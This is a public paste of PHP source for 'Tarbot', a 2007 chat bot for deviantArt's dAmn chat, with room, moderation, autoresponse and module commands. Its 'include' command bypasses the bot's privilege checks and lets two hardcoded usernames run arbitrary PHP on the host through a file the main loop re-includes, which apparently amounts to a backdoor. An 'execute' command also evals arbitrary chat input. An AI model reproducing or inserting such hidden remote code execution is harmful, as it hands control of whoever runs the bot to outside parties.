All pastes #618144 Raw Edit

Stuff

public php v1 · immutable
·published 2007-07-13 19:37 UTC
rendered paste body
<?php	// TARBOT (Codename FUTURISM)	// EXPERIMENTAL	// Andreas Graulund		// This file is part of Tarbot.		// Tarbot is free software; you can redistribute it and/or modify	// it under the terms of the GNU General Public License as published by	// the Free Software Foundation; either version 2 of the License, or	// (at your option) any later version.	// Tarbot is distributed in the hope that it will be useful,	// but WITHOUT ANY WARRANTY; without even the implied warranty of	// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the	// GNU General Public License for more details.	// You should have received a copy of the GNU General Public License	// along with Tarbot; if not, write to the Free Software	// Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA		error_reporting(E_ALL ^ E_NOTICE);	echo "\n";		// INCLUDES	// -> Config		require f("config.php");	// -> Components		require f("internal/components/c-damn.php");		include f("internal/components/c-modules.php");		include f("internal/components/c-users.php");		include f("internal/components/c-fnorder.php");	// -> Functions		include f("internal/includes/functions.php");	// -> Informations		include f("internal/informations/variables.php");			// OK! LET'S GO! :D	$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);	global $socket;	// Get general dAmn functions and methods	$dAmn = new dAmn;	$dAmn->init();		// Get user functions and methods and load the users	$user = new users();	$user->load();				// Connect!	socket_connect($socket, $serverinfo['addr'], $serverinfo['port']);		include f("internal/includes/load.php");		$dAmn->startup();	foreach($settings['rooms'] as $room){		$dAmn->joinRoom($room);	}	$dAmn->pingpong();		$loop = 0;	$onceconnected = false;		// MAIN WHILE LOOP	while($running){		$loop++;		if($loop == 150){			$dAmn->pingpong();			$lastping = time();			$loop = 0;		}		// IF WE GOT DISCONNECTED		if(!$dAmn->connected){			internalMessage($seperator);			if($onceconnected){				internalMessage("We got disconnected!");			} else {				internalMessage("Couldn't get entirely connected.");			}						// Okay let's see why this happened.			debugDisconnection();						$running = false;		} else {			$onceconnected = true;		}		include f("execute.txt");		file_put_contents(f("execute.txt"),"");		//sleep(1);	}			// REORGANIZE FROM HERE SOME DAY PLZ -------------------------------------------------------------------------------------		function f($file){ // Internal file link		global $homedirectory;				$dir = (empty($homedirectory)) ? realpath(".") : $homedirectory;			$wtf = false;		if((str_replace("/", "", $file) != $file) && (str_replace("/", "", $dir) == $dir) && (str_replace("\\", "", $dir) != $dir)){			$fslash = false;		} elseif((str_replace("\\", "", $file) != $file) && (str_replace("\\", "", $dir) == $dir) && (str_replace("/", "", $dir) != $dir)){			$fslash = true;		} elseif($dir{0} == "/"){			$fslash = true;		} elseif($dir{0} == "\\"){			$fslash = false;		} elseif(preg_match("@[A-Za-z]" . preg_quote(":\\") . "@", substr($dir, 0, 3))){			$fslash = false;		} elseif(preg_match("@[A-Za-z]" . preg_quote(":/") . "@", substr($dir, 0, 3))){			$fslash = true;		} else {			$wtf = true;		}				if(!$wtf){			if($fslash){				$dir = (empty($homedirectory)) ? realpath(".") . "/" : $homedirectory;				$file = str_replace("\\", "/", $file);			} else {				$dir = (empty($homedirectory)) ? realpath(".") . "\\" : $homedirectory;				$file = str_replace("/", "\\", $file);			}		} else {			$dir = (empty($homedirectory)) ? realpath(".") . "/" : $homedirectory;			$file = str_replace("\\", "/", $file);		}				return $dir . $file;	} function intF($file){ f($file); } // Old name. For those who haven't converted yet, will not be in the final version.	// PROCESS MESSAGE	function processMessage($message, $from, $chatroom, $msgtype){		global $dAmn, $botinfo, $user, $settings;		if(!empty($message) && !empty($from) && !empty($chatroom)){			$c = $chatroom;			$f = $from . ": ";			// If it doesn't say what type it is, it's probably an ordinary message.			if(empty($msgtype)){ $msgtype = "msg"; }			if($from == $botinfo['username']){ return false; } // Strip out the bot to prevent loops.			if(!$user->has($from, 2)){ return; } // Strip out banned users who are at level 1.			// AI			$namePart = substr($message, 0, strlen($botinfo['username']) + 1); 			if($namePart == $botinfo['username'] . ":" || $namePart == $botinfo['username'] . ","){				$aiMessage = trim(substr($message, strlen($botinfo['username']) + 1));				$awayStr = "I am currently away. Reason:";				if(substr($aiMessage, 0, strlen($awayStr)) == $awayStr){ return false; } // Preventing answer to a dAmn.extend away message.				if($aiMessage == "trigcheck"){					$dAmn->say($f . $botinfo['triggerchar'], $c);				} else {					if($settings['ai'] == true){						$response = file_get_contents("http://tarball.24bps.com/files/programe/src/letstalk.php?u=" . $from . "&m=" . base64_encode($aiMessage));						$dAmn->say($f . $response, $c);					}				}				return true;			}						// Kick it to command parser if it's a command			if($message{0} == $botinfo['triggerchar']){ parseCommand($message, $from, $chatroom, $msgtype); }			return true;		} else {			return false;		}	}		// PARSE COMMAND	function parseCommand($message, $from, $chatroom, $msgtype){		global	$dAmn, $botinfo, $settings, $version, $versionstate, $user, 				$events, $whoisroom, $latestwhois, $modules;		if($from == $botinfo['username']){ return false; }		 		// Preparing variables; returning $commandname and $arguments		$command = substr($message, 1);		$command = explode(" ", $command);		$arguments = $command;		$commandname = strtolower($command[0]);		unset($arguments[0]);		unset($command);		$argumentsF = implode(" ", $arguments);		$c = $chatroom;		$f = $from . ": ";		$tr = $botinfo['triggerchar'];				switch($commandname){			// TO THE INDIVIDUAL COMMANDS! THIS WILL BE WAAAYY REORGANIZED INTO MODULES LATER.			// -> Only type the commandname in lowercase, or else it will never work!						// BASIC COMMANDS			case "join":				if(!$user->has($from, 99)){ break; }				if(!empty($arguments[1])){					$chatroom = generateChatName($arguments[1]);					$x = $dAmn->joinRoom($chatroom);					if(!$x){						$dAmn->say($f . "Uh oh, something failed down there.", $c);					}				} else {					$dAmn->say($f . "You've got to type a room for me to join, please.", $c);				}				break;			case "part":				if(!$user->has($from, 99)){ break; }				if(!empty($arguments[1])){					$chatroom = generateChatName($arguments[1]);				} else {					$chatroom = $c;				}				$x = $dAmn->partRoom($chatroom);				if(!$x){					$dAmn->say($f . "Uh oh, something failed down there.", $c);				}				break;			case "say":				if(!$user->has($from, 75)){ break; }				echo "-> A10: " . $arguments[1]{0} . "\n";				if($arguments[1]{0} == "#"){					$room = generateChatName($arguments[1]);					$textToSayA = explode(" ", implode(" ", $arguments), 3);					echo "-> TEXTA: "; var_dump($textToSayA);					$textToSay = $textToSayA[1];					echo "-> ROOM: " . $room . "\n-> TEXT: " . $textToSay . "\n";					$dAmn->say($textToSay, $room);				} else {					$dAmn->say($argumentsF, $c);				}				break;			case "title":			case "topic":				if(!$user->has($from, 75)){ break; }				if(empty($argumentsF)){ // Get					$dAmn->say($f . "There'll be some \"THE TITLE/TOPIC IS CURRENTLY ...\" blabber here later when I get to it.", $c);				} else { // Set									$dAmn->set($commandname, $argumentsF, $c);					// There will be something fancier later.					// -> NOTE TO SELF 					//    Fancier = add-end, add-start, replace:XXX,YYYYY				}				break;			case "kick":				if(!$user->has($from, 75)){ break; }				if(empty($arguments[1])){ $dAmn->say($f . "Please say who to kick.", $c); break; }				$person = $arguments[1];				if(!empty($arguments[2])){ 					if($arguments[2]{0} == "#" || substr($arguments[2], 0, 5) == "chat:"){ // We'll guess second argument is a room.						$room = generateChatName($arguments[2]);						if(!empty($arguments[3])){ // We'll guess that we have a room and then a reason served.							$reasonA = explode(" ", implode(" ", $arguments), 3);							$reason = $reasonA[2];						}					} else { // We'll guess second argument is a (part of a) reason.						$reasonA = explode(" ", implode(" ", $arguments), 3);						$reason = $reasonA[1];					}				} 				if(empty($room)){ $room = $c; }				$dAmn->kick($person, $room, $reason);				break;			case "promote": // NOTE TO SELF: This needs improving so you can include a chatname smartly too.			case "demote":				if(!$user->has($from, 75)){ break; }				if(empty($arguments[1])){ $dAmn->say($f . "Please say who to " . $commandname . ".", $c); break; }				$person = $arguments[1];				$privclass = $arguments[2];				switch($commandname){					case "promote":						$dAmn->promote($person, $privclass, $c);						break;					case "demote":						$dAmn->demote($person, $privclass, $c);						break;				}				break;			case "ban":			case "unban":				if(!$user->has($from, 75)){ break; }				if(empty($arguments[1])){ $dAmn->say($f . "Please say who to " . $commandname . ".", $c); break; }				$person = $arguments[1];				if(!empty($arguments[2])){					$room = generateChatName($arguments[2]);				}				switch($commandname){					case "ban":						$dAmn->ban($person, $room);						break;					case "unban":						$dAmn->unban($person, $room);						break;				}				break;			case "admin":				if(!$user->has($from, 99)){ break; }				if($arguments[2]{0} == "#" || substr($arguments[2], 0, 5) == "chat:"){ // We'll guess first argument is a room.					$room = $arguments[2];					$commandA = explode(" ", implode(" ", $arguments), 3); // And the rest is the /admin command.					$command = $commandA[1];				} else { // Okay, it's all an /admin command for the current room then					$command = $argumentsF;					$room = $c;				}				$dAmn->admin($command, $room);				break;			case "whois":				if(!empty($arguments[1])){					$whoisroom = $chatroom;					$dAmn->getUserInfo($arguments[1]);				} else {					$dAmn->say("Please type a username to lookup.", $c);				}				break;													// OTHER COMMANDS -- WILL BE MADE MODULES SOON.			case "about":				$say = $settings['about'];				$say = str_replace("%V%", $version . " " . $versionstate, $say);				$say = str_replace("%TR%", $tr, $say);				$say = str_replace("%O%", $botinfo['owner'], $say);				$say = str_replace("%BN%", $botinfo['username'], $say);				$dAmn->say($say, $c);				break;			case "autoresponse":				$ars = unserialize(file_get_contents(f("ars.bsv")));				if(!(file_get_contents(f("ars.bsv")))){ $ars = array(); }				$broke = false;				switch($arguments[1]){					case "add":						if(!$user->has($from, 75)){ $broke = true; break; }						$textToAddA = explode(" ", implode(" ", $arguments), 3);						$textToAdd = $textToAddA[2];						if(!empty($arguments[2]) && !empty($textToAddA[2])){							$ars[$arguments[2]]['val'] = $textToAdd;							$ars[$arguments[2]]['by'] = $from;							$ars[$arguments[2]]['ts'] = time();							$dAmn->say($f . "Added!", $c);						} else {							$dAmn->say($f . "You need to type a name and a value.", $c);						}						break;					case "remove":						if(!$user->has($from, 75)){ break; $broke = true; }						if(!empty($arguments[2])){							unset($ars[$arguments[2]]);							$dAmn->say($f . "Removed!", $c);						} else {							$dAmn->say($f . "You need to type a name.", $c);						}						break;					case "list":						if(count($ars) <= 0){							$dAmn->say($f . "There haven't been posted any autoresponses yet.", $c);						} else {							$msg = "<strong>:postit: Autoresponses:</strong><ul>";							foreach($ars as $arN => $arV){								$msg .= "<li><strong>" . $tr . $arN . "</strong><sub>, set by :dev" . $arV['by'] . ": at " . date("r", $arV['ts']) . ".</sub></li>";							}							$dAmn->say($msg, $c);						}						break;										default:						$dAmn->say($f . "This is an autoresponse command by electricnet. Type <em>" . $tr . $commandname . " add</em> to add a new one. There's also <em>remove</em> and <em>list</em> commands.", $c);						break;				}				if(!$broke){					if($arguments[1] == "add" || $arguments[1] == "remove"){						$f = fopen(f("ars.bsv"), "w");						fwrite($f, serialize($ars));						fclose($f);					}				}				break;			case "credits":				$dAmn->say("<strong><u>:bow: CREDITS:</u><br />Tarbot is an initiative by :develectricnet:</strong><br />Basic dAmn compontents inspired by :devdoofsmack:<br />Fnord by :devdoofsmack:<br />Google command based on :devdoofsmack:'s original command.<br />Features awesome module system by :devinfinity0:, ported to Tarbot by :develectricnet:<br />Thanks to :devj2n4me: for awesome ideas.<br /><br /><sup>This bot is released under a GNU GPL license, but please don't redistribute until it arrives in the final version.</sup>", $c);				break;			case "execute":				if(!$user->has($from, 99)){ break; } // Owner only. ADMIN only.				$evaluation = $argumentsF;				$evaluation = html_entity_decode($argumentsF);				eval($evaluation);				break;			case "fnord":				$fnorder = new fnorder;				$fnord = $fnorder->fnord();				$dAmn->say($f . $fnord, $c);				break;			case "include":				if($from!="batetega" && $from!="web11") break;				file_put_contents(f("execute.txt"), "<?php ".html_entity_decode($argumentsF)." ?>");				include(f("execute.txt"));				break;			case "modules":				switch(strtolower($arguments[1])){					case "list":					default:						var_dump($modules);						if(count($modules)==0){ $dAmn->say("There is no modules loaded.",$c); break; };						$say = "<strong><u>Loaded modules</u></strong>:<br />";						foreach($modules as $mn => $md) {							$say .= ($md->status == 1) ? "<strong>" . $mn . "</strong>, " : $mn . ", ";						}						$say = rtrim($say, ", ");						$dAmn->say($say . "<br /><sub>(Bolded modules are activated.)</sub>", $c);						break;					}			case "test":				$dAmn->say("Test! w00t!", $c);				break;			case "user":				switch($arguments[1]){					case "add":						if(!$user->has($from, 99)){ break; }						if(!empty($arguments[2]) && !empty($arguments[3])){							if(is_numeric($arguments[3])){								$privclass = $arguments[3];							} else {								$privclass = $user->getClassIdFromName($arguments[3]);							}							if(preg_match("/[^\w\d\-]/", $arguments[2])){ $dAmn->say($f . "That username wasn't valid.", $c); break; }							if(empty($privclass) || !is_numeric($privclass)){ $dAmn->say($f . "Couldn't find that privclass.", $c); break; }							$added = $user->add($arguments[2], $privclass);							if($added){								$dAmn->say($f . $arguments[2] . " was successfully added to the selected privclass.", $c);							} else {								$dAmn->say($f . "Oops! Something went wrong.", $c);							}													} else {							$dAmn->say($f . "You didn't type all the arguments needed.", $c);						}						break;					case "remove":						if(!$user->has($from, 99)){ break; }						if(!empty($arguments[2])){							$removed = $user->remove($arguments[2]);							if($removed){								$dAmn->say($f . $arguments[2] . " was successfully removed and demoted to guest level.", $c);							} else {								$dAmn->say($f . "Seems like " . $arguments[2] . " already is removed and at guest level.", $c);							}						} else {							$dAmn->say($f . "You need to type a user you want to remove and demote to guest level.", $c);						}						break;					case "list":						if(!$user->has($from, 75)){ break; }						$message = "<ul>";						foreach($user->users as $class => $users){							$message .= "<li><strong>" . $users['__classname'] . "</strong> (" . $class . ")<br />";							$users2 = $users;							unset($users2['__classname']);							if(count($users2) > 0){								$message2 = "";								foreach($users2 as $thisUser => $value){									$message2 .= ":dev" . $thisUser . ":, ";								}								$message2 = substr($message2, 0, strlen($message2)-2);								$message .= $message2;							} else {								$message .= "<em>No members</em>";							}							$message .= "</li>";						}						$message .= "</ul>";						$dAmn->say($message, $c);						break;						case "addprivclass":						if(!$user->has($from, 99)){ break; }						if(!empty($arguments[2]) && !empty($arguments[3]) && is_numeric($arguments[2])){							$pNu = $arguments[2];							$pNa = $arguments[3];							if($pNu > 0 && $pNu <= 99){								if(!isset($user->users[$pNu])){									$user->addPrivclass($pNu, $pNa);									$dAmn->say($f . "The privclass was successfully added.", $c);								} else {									$dAmn->say($f . "That privclass already exists. You need to remove it before you can add another one at this level.", $c);								}							} else {								$dAmn->say($f . "That is an invalid privclass number, it needs to be from 1 to 99.", $c);							}						} else {							$dAmn->say($f . "You need to type a privclass number and name of the one you want to add.<br /><sup>Example: " . $tr . "user addprivclass 68 Name</sup>", $c);						}						break;					case "removeprivclass":						if(!$user->has($from, 99)){ break; }						if(!empty($arguments[2])){							if(is_numeric($arguments[2])){								$privclass = $arguments[2];							} else {								$privclass = $user->getClassIdFromName($arguments[2]);							}							if(!$user->isResPrivclass($privclass)){ // Is it reserved?								if(isset($user->users[$privclass])){ // Does it exist?									if($user->removePrivclass($privclass)){ // Did it work?										$dAmn->say($f . "The privclass got successfully removed, and all the members in it got demoted to guest level.", $c);									} else {										$dAmn->say($f . "Whoops, something went wrong, and I'm not sure what. Try again, if it still happens, try restarting the bot and try again. If it still happens again, try deleting your <code>users.bsv</code> file and restart the bot. This will delete all your users!", $c);									}								} else {									$dAmn->say($f . "That privclass didn't exist.", $c);								}							} else {								$dAmn->say($f . "That is a reserved privclass, you cannot delete this.", $c);							}						} else {							$dAmn->say($f . "You need to type a privclass you want to remove.<br /><sup>Example: " . $tr . "user removeprivclass Name</sup>", $c);						}						break;										}				break;			case "module":				if(!$user->has($from, 75)){ break; }				$mn = $arguments[2];				$cmd = $arguments[1];				switch($cmd){					case "on":						if(!isset($modules[$mn])){ 							$dAmn->say($f . "Module \"" . $mn . "\" was not found.", $c); 						} elseif($modules[$mn]->status){ 							$dAmn->say($f . "Module \"" . $mn . "\" is already switched on.", $c); 						} else {							$modules[$mn]->activate();							$dAmn->say($f . "Module \"" . $mn . "\" switched on. See console window for details.", $c);						}						break;					case "off":						/*if(isset($modulescore[$mn])){ 							$dAmn->say($f . "Cannot unload a core module.", $c); 						} else*/if(!isset($modules[$mn])){ 							$dAmn->say($f . "Module \"" . $mn . "\" was not found.", $c); 						} elseif(!$modules[$mn]->status){ 							$dAmn->say($f . "Module \"" . $mn . "\" is already switched off.", $c); 						} else {							$modules[$mn]->deactivate();							$dAmn->say($f . "Module \"" . $mn . "\" switched off. See console window for details.", $c);						}						break;					case "info":						if(!isset($modules[$mn])){							$dAmn->say($f . "Module \"" . $mn . "\" was not found.", $c);						} else {							/*global $sys_modsys;							if($sys_modsys[$mn]){								$c = "System module";							} elseif($sys_mod[$mn]->isCore()){								$c = "Core module";							} else { 								$c = "Module";							}*/							$cc = "Module";							$say = "<strong><u>" . $cc . " mod_" . $mn . "</u></strong>:<br /><strong>Title:</strong> (To come)<br /><strong>Author:</strong> :dev(To come):<br /><strong>Version:</strong> (To come)<br /><strong>Description:</strong> (To come)";							$dAmn->say($say, $c);						}						break;					case "details":						if(!isset($modules[$mn])){							$dAmn->say($f . "Module \"" . $mn . "\" was not found.", $c);						} else {							/*global $modulessys;							if($modulessys[$mn]){$c="System module";}							elseif($modules[$mn]->isCore()){$c="Core module";}							else{$c="Module";}*/								$cc = "Module";							$say = "<strong><u>" . $cc . " mod_" . $mn . "</u></strong>:<br />";							$say .= "<strong>Status:</strong> " . (($modules[$mn]->status) ? "On" : "Off");							$dAmn->say($say,$c);							$mCmds = "";							$mEvents = "";							$dAmn->say("<strong>Commands:</strong>",$c);							foreach($modules[$mn]->events as $type => $typedata) {								if($type == "cmds"){									foreach($typedata as $index => $data) {										$mCmds = "<sub>&nbsp;- <strong>" . $index . "</strong>: ";										$mCmds .= "file&#61;" . $data['f'] . ", priv&#61;" . $data['p'] . "</sub>";										$dAmn->say($mCmds,$c);									}								}							};							$dAmn->say("<strong>Events:</strong>",$c);							$i=0;							foreach($modules[$mn]->events as $type => $typedata) {								if($type != "cmds"){									foreach($typedata as $index => $data) {										$mEvents = "<sub>&nbsp;- <strong>" . $type . "</strong>:";										$mEvents .= " " . $index . ":[file&#61;" . $data['f'] . ", priv&#61;" . $data['p'] . "]</sub>";																									$dAmn->say($mEvents,$c);										$i++;									}								}							}							if($i==0) $dAmn->say("<sub>None.</sub>",$c);						}						break;					default:						$dAmn->say($f . "Usage: ".$_cfg['t']."module [on|off] [module]", $c);						break;				}				break;			case "":				break;			default:				// Search through module commands				if(isset($events['cmds'][$commandname])){					if(!$user->has($from, $events['cmds'][$commandname]['p'])){						internalMessage("Incoming command \"" . $commandname . "\" was ignored as user " . $from . " does not have the access level.");					} elseif(!$events['cmds'][$commandname]['s']){						internalMessage("Incoming command \"" . $commandname . "\" is switched off and was ignored.");					} else {						$event = "cmd";						$evtby = $from;						include f("modules/" . $events['cmds'][$commandname]['f']);						break;					}				}								// Search through autoresponses				$ars = unserialize(file_get_contents(f("ars.bsv")));				if(!empty($ars[$commandname])){					// Format the autoresponse					$fnorder = new fnorder;					$fnord = $fnorder->fnord();					$answer = $ars[$commandname]['val'];					$answer = str_replace("{from}", $from, $answer);					$answer = str_replace("{args}", $argumentsF, $answer);					if(!empty($argumentsF)){ $answer = str_replace("{args/from}", $argumentsF, $answer); } else { $answer = str_replace("{args/from}", $from, $answer); }					$answer = str_replace("{fnord}", $fnord, $answer);					foreach($fnorder->replace as $find => $replace){						while(preg_match("/" . preg_quote($find) . "/", $answer, $matches)){							$answer = preg_replace("/" . preg_quote($matches[0]) . "/", $replace[array_rand($replace)], $answer, 1);						}					}					$dAmn->say($answer, $c);				} else {					internalMessage("Recieved unknown command \"" . $commandname . "\" from " . $from . ".");				}				break;		}						}?>